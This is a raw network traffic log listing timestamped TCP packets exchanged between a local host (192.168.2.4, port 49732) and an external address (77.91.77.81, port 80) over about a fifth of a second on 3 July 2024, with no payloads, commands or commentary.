Jul 3, 2024 23:59:14.929919958 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929930925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929939985 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929965973 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929979086 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929991961 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930037022 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930066109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930077076 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930114985 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930171967 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930185080 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930195093 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930203915 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930218935 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930233955 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930254936 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930258036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930280924 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930326939 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930361986 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930372953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930382013 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930407047 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930433035 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930483103 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930493116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930502892 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930511951 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930531979 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930556059 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930619001 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930632114 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930641890 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930651903 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930670977 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930697918 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930752039 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930763960 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930773020 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930783987 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930798054 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930809975 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930835009 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930871010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930917025 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.930973053 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930984974 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.930994034 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.931005001 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.931020021 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.931026936 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.931031942 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.931050062 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.931071043 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.964009047 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964040995 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964052916 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964086056 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.964118004 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.964148045 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964163065 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964174986 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964185953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964205980 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.964231014 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.964257002 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964375019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964385033 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964395046 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964404106 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964413881 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.964416027 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964426994 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.964430094 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.964453936 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.964467049 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.984829903 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.984904051 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.984913111 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.984951019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.984956980 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.984962940 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.984999895 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.985014915 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985027075 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985060930 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.985137939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985150099 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985160112 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985172033 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985181093 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985183954 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.985204935 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.985232115 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.985275030 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985285997 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985296965 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985305071 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.985323906 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.985337973 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.020544052 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.020710945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.020720005 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.020725012 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.020746946 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.020756960 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.020766973 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.020777941 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.020786047 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.020827055 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.021857023 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.021867037 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.021883011 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.021925926 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.021950006 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.021960974 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.021970987 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.021997929 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022011995 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022039890 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022051096 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022059917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022083044 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022105932 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022197962 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022207975 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022217035 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022227049 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022236109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022243977 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022247076 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022262096 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022289038 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022500038 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022536039 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022546053 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022559881 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022578955 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022659063 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022670984 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022680998 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022699118 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022706032 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022716999 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022746086 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022797108 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022808075 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022816896 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022826910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022835970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022841930 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022862911 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022881031 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.022986889 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.022998095 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023006916 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023027897 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023046970 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023102999 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023116112 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023161888 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023236990 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023247957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023257971 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023267984 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023277044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023284912 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023288012 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023298979 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023300886 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023313999 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023341894 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023425102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023436069 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023444891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023469925 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023488045 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023575068 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023586035 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023596048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023606062 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023616076 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023622036 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023627996 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023647070 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023658037 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023683071 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023866892 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023876905 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023886919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023896933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023906946 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023915052 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023917913 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023929119 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023936033 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023940086 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023951054 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023960114 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023963928 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.023979902 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.023998022 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024019957 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024137974 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024148941 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024175882 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024187088 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024277925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024287939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024297953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024311066 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024315119 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024326086 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024336100 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024341106 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024348021 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024358034 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024364948 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024369955 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024374008 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024380922 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024398088 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024399996 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024426937 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024440050 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024760008 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024770975 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024780035 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024790049 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024799109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024805069 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024811029 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024830103 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024830103 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024842978 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024853945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024853945 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024863958 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024874926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.024879932 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024892092 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.024920940 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.042762041 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.042902946 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.053947926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054008961 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054019928 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054068089 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.054091930 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054100037 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.054104090 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054131985 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.054145098 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.054183960 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054194927 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054204941 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054215908 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054224968 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054231882 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.054254055 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.054374933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054388046 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054413080 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.054431915 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.054438114 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054449081 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.054476976 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.062489033 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.062581062 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.074898958 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.074934006 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.074944019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.074995995 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.075026035 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075037956 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075047970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075057983 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075067997 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.075098991 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.075115919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075143099 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075182915 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.075244904 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075257063 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075265884 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075288057 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.075299025 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.075368881 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075380087 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075390100 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.075412989 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.075437069 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.110577106 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.110620022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.110629082 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.110681057 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.110706091 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.110718012 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.110727072 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.110738039 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.110748053 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.110765934 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.110790968 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.110817909 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.110856056 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.111855030 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.111907005 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.111907005 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.111920118 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.111946106 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.111957073 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.111984015 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.111994982 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112021923 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112041950 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112092972 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112104893 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112131119 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112143040 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112215042 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112226009 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112235069 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112245083 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112255096 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112257004 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112287998 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112302065 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112371922 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112384081 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112421036 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112504959 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112521887 CEST	80	49732	77.91.77.81	192.168.2.4
